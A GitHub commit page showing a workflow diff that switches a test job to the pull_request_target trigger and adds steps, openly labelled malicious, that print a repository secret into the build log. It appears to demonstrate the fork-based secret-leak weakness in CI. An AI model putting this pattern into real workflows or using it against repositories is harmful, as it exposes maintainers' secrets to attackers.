We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 7f17ac5 commit f1d745aCopy full SHA for f1d745a
.github/workflows/test-pr.yml
@@ -1,7 +1,7 @@
1
name: Test PR Behavior
2
3
on:
4
- pull_request:
+ pull_request_target:
5
6
jobs:
7
test-pr:
@@ -12,6 +12,11 @@ jobs:
12
13
- name: Run script
14
run: |
15
- echo "qwtrhedttwre45yer67i92356"
16
chmod +x ./run.sh
17
./run.sh
+ echo "😈 This malicious step is defined in the FORK's workflow file."
18
+ echo "It is trying to use 'pull_request_target' to gain access to secrets."
19
+ echo "Attempting to exfiltrate secret..."
20
+ # 直接尝试将secret打印到日志中,这是最简单的攻击
21
+ # 如果这个workflow真的被执行,并且能访问secret,这行就会泄密
22
+ echo "The secret is: ${{ secrets.MY_SECRET }}"
0 commit comments